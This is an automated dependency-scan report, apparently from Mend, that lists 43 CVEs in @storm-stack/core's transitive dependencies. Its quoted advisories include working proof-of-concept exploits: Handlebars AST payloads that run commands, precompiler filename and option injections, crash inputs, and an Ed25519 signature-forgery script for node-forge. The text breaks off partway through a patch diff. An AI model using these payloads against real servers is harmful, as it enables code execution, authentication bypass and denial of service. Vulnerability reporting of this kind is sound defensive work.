@storm-stack/core-0.47.0.tgz: 43 vulnerabilities (highest severity is: 9.8)

[mend-bolt-for-github]

Vulnerable Library - @storm-stack/core-0.47.0.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Vulnerabilities

Vulnerability	Severity	CVSS	Dependency	Type	Fixed in (@storm-stack/core version)	Remediation Possible**
CVE-2026-33937	Critical	9.8	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-27606	Critical	9.1	detected in multiple dependencies	Transitive	N/A*	❌
CVE-2025-12816	High	8.6	node-forge-1.3.1.tgz	Transitive	0.48.0	❌
CVE-2026-33941	High	8.2	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-33940	High	8.1	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-33938	High	8.1	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-4867	High	7.5	path-to-regexp-0.1.12.tgz	Transitive	N/A*	❌
CVE-2026-33939	High	7.5	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-33895	High	7.5	node-forge-1.3.1.tgz	Transitive	N/A*	❌
CVE-2026-33894	High	7.5	node-forge-1.3.1.tgz	Transitive	N/A*	❌
CVE-2026-33891	High	7.5	node-forge-1.3.1.tgz	Transitive	N/A*	❌
CVE-2026-33671	High	7.5	detected in multiple dependencies	Transitive	N/A*	❌
CVE-2026-22775	High	7.5	devalue-5.3.2.tgz	Transitive	0.48.0	❌
CVE-2026-22774	High	7.5	devalue-5.3.2.tgz	Transitive	0.48.0	❌
CVE-2025-66031	High	7.5	node-forge-1.3.1.tgz	Transitive	0.48.0	❌
CVE-2025-64756	High	7.5	detected in multiple dependencies	Transitive	0.48.0	❌
CVE-2026-33896	High	7.4	node-forge-1.3.1.tgz	Transitive	N/A*	❌
CVE-2025-13465	High	7.2	lodash-4.17.21.tgz	Transitive	N/A*	❌
CVE-2025-64764	High	7.1	astro-5.14.1.tgz	Transitive	N/A*	❌
CVE-2025-69874	Medium	6.5	nanotar-0.2.0.tgz	Transitive	N/A*	❌
CVE-2025-66202	Medium	6.5	astro-5.14.1.tgz	Transitive	N/A*	❌
CVE-2025-64525	Medium	6.5	astro-5.14.1.tgz	Transitive	0.48.0	❌
CVE-2025-62522	Medium	6.5	detected in multiple dependencies	Transitive	N/A*	❌
CVE-2025-61925	Medium	6.5	astro-5.14.1.tgz	Transitive	0.48.0	❌
CVE-2026-34043	Medium	5.9	serialize-javascript-6.0.2.tgz	Transitive	N/A*	❌
CVE-2025-65019	Medium	5.4	detected in multiple dependencies	Transitive	0.48.0	❌
CVE-2026-33769	Medium	5.3	astro-5.14.1.tgz	Transitive	0.48.0	❌
CVE-2026-33672	Medium	5.3	detected in multiple dependencies	Transitive	N/A*	❌
CVE-2026-24001	Medium	5.3	diff-5.2.0.tgz	Transitive	N/A*	❌
CVE-2025-66400	Medium	5.3	mdast-util-to-hast-13.2.0.tgz	Transitive	N/A*	❌
CVE-2025-66030	Medium	5.3	node-forge-1.3.1.tgz	Transitive	0.48.0	❌
CVE-2025-64765	Medium	5.3	astro-5.14.1.tgz	Transitive	N/A*	❌
CVE-2025-64718	Medium	5.3	js-yaml-4.1.0.tgz	Transitive	N/A*	❌
CVE-2026-33916	Medium	4.7	handlebars-4.7.8.tgz	Transitive	N/A*	❌
CVE-2026-33532	Medium	4.3	yaml-1.10.2.tgz	Transitive	N/A*	❌
CVE-2026-30226	Low	3.7	devalue-5.3.2.tgz	Transitive	0.48.0	❌
CVE-2026-2391	Low	3.7	qs-6.13.0.tgz	Transitive	0.48.0	❌
CVE-2025-68458	Low	3.7	webpack-5.102.0.tgz	Transitive	0.48.0	❌
CVE-2025-68157	Low	3.7	webpack-5.102.0.tgz	Transitive	0.48.0	❌
CVE-2025-15284	Low	3.7	qs-6.13.0.tgz	Transitive	0.48.0	❌
CVE-2025-64757	Low	3.5	astro-5.14.1.tgz	Transitive	N/A*	❌
CVE-2025-69873	Low	2.9	detected in multiple dependencies	Transitive	N/A*	❌
CVE-2025-64745	Low	2.7	astro-5.14.1.tgz	Transitive	0.48.0	❌

*For some transitive vulnerabilities, there is no version of direct dependency with a fix. Check the "Details" section below to see if there is a version of transitive dependency where vulnerability is fixed.

**In some cases, Remediation PR cannot be created automatically for a vulnerability despite the availability of remediation

Details

Partial details (10 vulnerabilities) are displayed below due to a content size limitation in GitHub. To view information on the remaining vulnerabilities, navigate to the Mend Application.

CVE-2026-33937

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ handlebars-4.7.8.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary "Handlebars.compile()" accepts a pre-parsed AST object in addition to a template string. The "value" field of a "NumberLiteral" AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to "compile()" can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server. Description "Handlebars.compile()" accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in "lib/handlebars/compiler/javascript-compiler.js" emits "NumberLiteral" values verbatim: // Simplified representation of the vulnerable code path: // NumberLiteral.value is appended to the generated code without escaping compiledCode += numberLiteralNode.value; Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //" as the "value" of a "NumberLiteral" causes the generated "eval"-ed code to break out of its intended context and execute arbitrary commands. Any endpoint that deserializes user-controlled JSON and passes the result directly to "Handlebars.compile()" is exploitable. Proof of Concept Server-side Express application that passes "req.body.text" to "Handlebars.compile()": import express from "express"; import Handlebars from "handlebars"; const app = express(); app.use(express.json()); app.post("/api/render", (req, res) => { let text = req.body.text; let template = Handlebars.compile(text); let result = template(); res.send(result); }); app.listen(2123); POST /api/render HTTP/1.1 Content-Type: application/json Host: 127.0.0.1:2123 { "text": { "type": "Program", "body": [ { "type": "MustacheStatement", "path": { "type": "PathExpression", "data": false, "depth": 0, "parts": ["lookup"], "original": "lookup", "loc": null }, "params": [ { "type": "PathExpression", "data": false, "depth": 0, "parts": [], "original": "this", "loc": null }, { "type": "NumberLiteral", "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //", "original": 1, "loc": null } ], "escaped": true, "strip": { "open": false, "close": false }, "loc": null } ] } } The response body will contain the output of the "id" command executed on the server. Workarounds - Validate input type before calling "Handlebars.compile()": ensure the argument is always a "string", never a plain object or JSON-deserialized value. if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); } - Use the Handlebars runtime-only build ("handlebars/runtime") on the server if templates are pre-compiled at build time; "compile()" will be unavailable.

Publish Date: 2026-03-27

URL: CVE-2026-33937

CVSS 3 Score Details (9.8)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-2w6w-674q-4c4q

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-27606

Vulnerable Libraries - rollup-4.52.3.tgz, rollup-4.52.2.tgz

rollup-4.52.3.tgz

Next-generation ES module bundler

Library home page: https://registry.npmjs.org/rollup/-/rollup-4.52.3.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ rollup-4.52.3.tgz (Vulnerable Library)

rollup-4.52.2.tgz

Next-generation ES module bundler

Library home page: https://registry.npmjs.org/rollup/-/rollup-4.52.2.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • rollup-plugin-typescript2-0.36.0.tgz
    • ❌ rollup-4.52.2.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences ("../") to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

Publish Date: 2026-02-25

URL: CVE-2026-27606

CVSS 3 Score Details (9.1)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Release Date: 2026-02-25

Fix Resolution: https://github.com/rollup/rollup.git - v2.80.0,https://github.com/rollup/rollup.git - v3.30.0,https://github.com/rollup/rollup.git - v4.59.0

Step up your Open Source Security Game with Mend here

CVE-2025-12816

Vulnerable Library - node-forge-1.3.1.tgz

JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Library home page: https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • cli-1.5.8.tgz
    • dev-server-1.1.4.tgz
      • webpack-dev-server-5.2.2.tgz
        • selfsigned-2.4.1.tgz
          • ❌ node-forge-1.3.1.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Publish Date: 2025-11-25

URL: CVE-2025-12816

CVSS 3 Score Details (8.6)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Changed
• Impact Metrics:
  • Confidentiality Impact: None
  • Integrity Impact: High
  • Availability Impact: None

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-5gfm-wpxj-wjgq

Release Date: 2025-11-25

Fix Resolution (node-forge): 1.3.2

Direct dependency fix Resolution (@storm-stack/core): 0.48.0

Step up your Open Source Security Game with Mend here

CVE-2026-33941

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ handlebars-4.7.8.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary The Handlebars CLI precompiler ("bin/handlebars" / "lib/precompiler.js") concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. Description "lib/precompiler.js" generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: 1. Template name injection // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; "template.name" is derived from the file system path. A filename containing """ or "'];" breaks out of the string literal and injects arbitrary JavaScript. 2. Namespace injection ("-n" / "--namespace") // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; "opts.namespace" is emitted as raw JavaScript. Anything after a ";" in the value becomes an additional JavaScript statement. 3. CommonJS path injection ("-c" / "--commonjs") // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; "opts.commonjs" is interpolated inside double quotes with no escaping, allowing """ to close the string and inject further code. 4. AMD path injection ("-h" / "--handlebarPath") // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; "opts.handlebarPath" is interpolated inside single quotes, allowing "'" to close the array element. All four injection points result in code that executes when the generated bundle is "require()"d or loaded in a browser. Proof of Concept Template name vector (creates a file "pwned" on disk): mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require("fs").writeFileSync("pwned","1")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned Namespace vector: node bin/handlebars templates -o out.js -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' CommonJS vector: node bin/handlebars templates -o out.js -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' AMD vector: node bin/handlebars templates -o out.js -a -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' Workarounds - Validate all CLI inputs before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (""", "'", ";", etc.). - Use a fixed, trusted namespace string passed via a configuration file rather than command-line arguments in automated pipelines. - Run the precompiler in a sandboxed environment (container with no write access to sensitive paths) to limit the impact of successful exploitation. - Audit template filenames in any repository or package that is consumed by an automated build pipeline.

Publish Date: 2026-03-27

URL: CVE-2026-33941

CVSS 3 Score Details (8.2)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Local
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: Required
  • Scope: Changed
• Impact Metrics:
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-xjpj-3mr7-gcpf

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33940

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ handlebars-4.7.8.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary A crafted object placed in the template context can bypass all conditional guards in "resolvePartial()" and cause "invokePartial()" to return "undefined". The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to "env.compile()". Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup. Description The vulnerable code path spans two functions in "lib/handlebars/runtime.js": "resolvePartial()": A crafted object with "call: true" satisfies the first branch condition ("partial.call") and causes an early return of the original object itself, because none of the remaining conditionals (string check, "options.partials" lookup, etc.) match a plain object. The function returns the crafted object as-is. "invokePartial()": When "resolvePartial" returns a non-function object, "invokePartial" produces "undefined". The runtime interprets "undefined" as "partial not yet compiled" and calls "env.compile(partial, ...)" where "partial" is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated. Minimum prerequisites: 1. The template uses a dynamic partial lookup: "{{> (lookup . "key")}}" or equivalent. 2. The adversary can set the value of the looked-up context property to a crafted object. In server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution. Proof of Concept const Handlebars = require('handlebars'); const vulnerableTemplate = "{{> (lookup . "payload")}}"; const maliciousContext = { payload: { call: true, // bypasses the primary resolvePartial branch type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Injected code breaks out of the generated function's argument list depth: "0])),function () {console.error('VULNERABLE: object -> dynamic partial -> RCE');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: object -> dynamic partial -> RCE Workarounds - Use the runtime-only build ("require('handlebars/runtime')"). Without "compile()", the fallback compilation path in "invokePartial" is unreachable. - Sanitize context data before rendering: ensure no value in the context is a non-primitive object that could be passed to a dynamic partial. - Avoid dynamic partial lookups ("{{> (lookup ...)}}") when context data is user-controlled.

Publish Date: 2026-03-27

URL: CVE-2026-33940

CVSS 3 Score Details (8.1)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: High
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-xhpv-hc6g-r9c6

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33938

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ handlebars-4.7.8.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary The "@partial-block" special variable is stored in the template data context and is reachable and mutable from within a template via helpers that accept arbitrary objects. When a helper overwrites "@partial-block" with a crafted Handlebars AST, a subsequent invocation of "{{> @partial-block}}" compiles and executes that AST, enabling arbitrary JavaScript execution on the server. Description Handlebars stores "@partial-block" in the "data" frame that is accessible to templates. In nested contexts, a parent frame's "@partial-block" is reachable as "@_parent.partial-block". Because the data frame is a mutable object, any registered helper that accepts an object reference and assigns properties to it can overwrite "@partial-block" with an attacker-controlled value. When "{{> @partial-block}}" is subsequently evaluated, "invokePartial" receives the crafted object. The runtime, finding an object that is not a compiled function, falls back to dynamically compiling the value via "env.compile()". If that value is a well-formed Handlebars AST containing injected code, the injected JavaScript runs in the server process. The "handlebars-helpers" npm package (commonly used with Handlebars) includes several helpers such as "merge" that can be used as the mutation primitive. Proof of Concept Tested with Handlebars 4.7.8 and "handlebars-helpers": const Handlebars = require('handlebars'); const merge = require('handlebars-helpers').object().merge; Handlebars.registerHelper('merge', merge); const vulnerableTemplate = "{{#*inline "myPartial"}} {{>@partial-block}} {{>@partial-block}} {{/inline}} {{#>myPartial}} {{merge @_parent partial-block=1}} {{merge @_parent partial-block=payload}} {{/myPartial}}"; const maliciousContext = { payload: { type: "Program", body: [ { type: "MustacheStatement", depth: 0, path: { type: "PathExpression", parts: ["pop"], original: "this.pop", // Code injected via depth field — breaks out of generated function call depth: "0])),function () {console.error('VULNERABLE: RCE via @partial-block');}()));//", }, }, ], }, }; Handlebars.compile(vulnerableTemplate)(maliciousContext); // Prints: VULNERABLE: RCE via @partial-block Workarounds - Use the runtime-only build ("require('handlebars/runtime')"). The "compile()" method is absent, eliminating the vulnerable fallback path. - Audit registered helpers for any that write arbitrary values to context objects. Helpers should treat context data as read-only. - Avoid registering helpers from third-party packages (such as "handlebars-helpers") in contexts where templates or context data can be influenced by untrusted input.

Publish Date: 2026-03-27

URL: CVE-2026-33938

CVSS 3 Score Details (8.1)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: High
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: High
  • Integrity Impact: High
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-3mfm-83xf-c92r

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-4867

Vulnerable Library - path-to-regexp-0.1.12.tgz

Express style path to RegExp utility

Library home page: https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.12.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • cli-1.5.8.tgz
    • dev-server-1.1.4.tgz
      • webpack-dev-server-5.2.2.tgz
        • express-4.21.2.tgz
          • ❌ path-to-regexp-0.1.12.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Impact:
A bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.
Patches:
Upgrade to path-to-regexp@0.1.13
Custom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.
Workarounds:
All versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).
If paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length.

Publish Date: 2026-03-26

URL: CVE-2026-4867

CVSS 3 Score Details (7.5)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-37ch-88jc-xwx2

Release Date: 2026-03-26

Fix Resolution: path-to-regexp - 0.1.13

Step up your Open Source Security Game with Mend here

CVE-2026-33939

Vulnerable Library - handlebars-4.7.8.tgz

Library home page: https://registry.npmjs.org/handlebars/-/handlebars-4.7.8.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • ❌ handlebars-4.7.8.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. "{{*n}}"), the compiled template calls "lookupProperty(decorators, "n")", which returns "undefined". The runtime then immediately invokes the result as a function, causing an unhandled "TypeError: ... is not a function" that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a "try/catch" is vulnerable to a single-request Denial of Service. Description In "lib/handlebars/compiler/javascript-compiler.js", the code generated for a decorator invocation looks like: fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn; When ""n"" is not a registered decorator, "lookupProperty(decorators, "n")" returns "undefined". The expression immediately attempts to call "undefined" as a function, producing: TypeError: lookupProperty(...) is not a function Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process. This inconsistency is notable: references to unregistered helpers produce a clean ""Missing helper: ..."" error, while references to unregistered decorators cause a hard crash. Attack scenario: An attacker submits "{{*n}}" as template content to any endpoint that calls "Handlebars.compile(userInput)()". Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS. Proof of Concept const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x // Any of these payloads crash the process Handlebars.compile('{{*n}}')({}); Handlebars.compile('{{*decorator}}')({}); Handlebars.compile('{{constructor}}')({}); Expected crash output: TypeError: lookupProperty(...) is not a function at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36)) Workarounds - Wrap compilation and rendering in "try/catch": try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to "compile()". Reject templates containing decorator syntax ("{{...}}") if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call "compile()" at request time.

Publish Date: 2026-03-27

URL: CVE-2026-33939

CVSS 3 Score Details (7.5)

Base Score Metrics:

• Exploitability Metrics:
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: None
  • Scope: Unchanged
• Impact Metrics:
  • Confidentiality Impact: None
  • Integrity Impact: None
  • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-9cx6-37pm-9jff

Release Date: 2026-03-27

Fix Resolution: handlebars - 4.7.9

Step up your Open Source Security Game with Mend here

CVE-2026-33895

Vulnerable Library - node-forge-1.3.1.tgz

JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.

Library home page: https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz

Path to dependency file: /package.json

Path to vulnerable library: /package.json

Dependency Hierarchy:

• @storm-stack/core-0.47.0.tgz (Root Library)
  • cli-1.5.8.tgz
    • dev-server-1.1.4.tgz
      • webpack-dev-server-5.2.2.tgz
        • selfsigned-2.4.1.tgz
          • ❌ node-forge-1.3.1.tgz (Vulnerable Library)

Found in base branch: main

Vulnerability Details

Summary Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order ("S >= L"). A valid signature and its "S + L" variant both verify in forge, while Node.js "crypto.verify" (OpenSSL-backed) rejects the "S + L" variant, "as defined by the specification" (https://datatracker.ietf.org/doc/html/rfc8032#section-8.4). This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see "CVE-2026-25793" (https://nvd.nist.gov/vuln/detail/CVE-2026-25793), "CVE-2022-35961" (https://nvd.nist.gov/vuln/detail/CVE-2022-35961)). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed. Impacted Deployments Tested commit: "8e1d527fe8ec2670499068db783172d4fb9012e5" Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented. Configuration assumptions: - Default forge Ed25519 verify API path ("ed25519.verify(...)"). Root Cause In "lib/ed25519.js", "crypto_sign_open(...)" uses the signature's last 32 bytes ("S") directly in scalar multiplication: scalarbase(q, sm.subarray(32)); There is no prior check enforcing "S < L" (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where "S := S + L (mod 2^256)" when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature. Reproduction Steps - Use Node.js (tested with "v24.9.0") and clone "digitalbazaar/forge" at commit "8e1d527fe8ec2670499068db783172d4fb9012e5". - Place and run the PoC script ("poc.js") with "node poc.js" in the same level as the "forge" folder. - The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL ("crypto.verify"). - Confirm output includes: { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } } Proof of Concept Overview: - Demonstrates a valid control signature and a forged (S + L) signature in one run. - Uses Node/OpenSSL as a differential verification baseline. - Observed output on tested commit: { "forge": { "original_valid": true, "tweaked_valid": true }, "crypto": { "original_valid": true, "tweaked_valid": false } }

poc.js#!/usr/bin/env node 'use strict'; const path = require('path'); const crypto = require('crypto'); const forge = require('./forge'); const ed = forge.ed25519; const MESSAGE = Buffer.from('dderpym is the coolest man alive!'); // Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032). const ED25519_ORDER_L = Buffer.from([ 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, ]); // For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature. // This returns a new signature with s := s + L (mod 2^256), plus the carry. function addLToS(signature) { if (!Buffer.isBuffer(signature) || signature.length !== 64) { throw new Error('signature must be a 64-byte Buffer'); } const out = Buffer.from(signature); let carry = 0; for (let i = 0; i < 32; i++) { const idx = 32 + i; // s starts at byte 32 in the 64-byte signature. const sum = out[idx] + ED25519_ORDER_L[i] + carry; out[idx] = sum & 0xff; carry = sum >> 8; } return { sig: out, carry }; } function toSpkiPem(publicKeyBytes) { if (publicKeyBytes.length !== 32) { throw new Error('publicKeyBytes must be 32 bytes'); } // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM. const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]); const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]); const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]); const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]); const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n'); return -----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n; } function verifyWithCrypto(publicKey, message, signature) { try { const keyObject = crypto.createPublicKey(toSpkiPem(publicKey)); const ok = crypto.verify(null, message, keyObject, signature); return { ok }; } catch (error) { return { ok: false, error: error.message }; } } function toResult(label, original, tweaked) { return { [label]: { original_valid: original.ok, tweaked_valid: tweaked.ok, }, }; } function main() { const kp = ed.generateKeyPair(); const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey }); const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey }); const tweaked = addLToS(sig); const okTweaked = ed.verify({ message: MESSAGE, signature: tweaked.sig, publicKey: kp.publicKey, }); const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig); const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig); const result = { ...toResult('forge', { ok }, { ok: okTweaked }), ...toResult('crypto', cryptoOriginal, cryptoTweaked), }; console.log(JSON.stringify(result, null, 2)); } main(); Suggested Patch Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if "S >= L"). Here is a patch we tested on our end to resolve the issue, though please verify it on your end: index f3e6faa..87eb709 100644 --- a/lib/ed25519.js +++ b/lib/ed25519.js @@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) { return -1; } 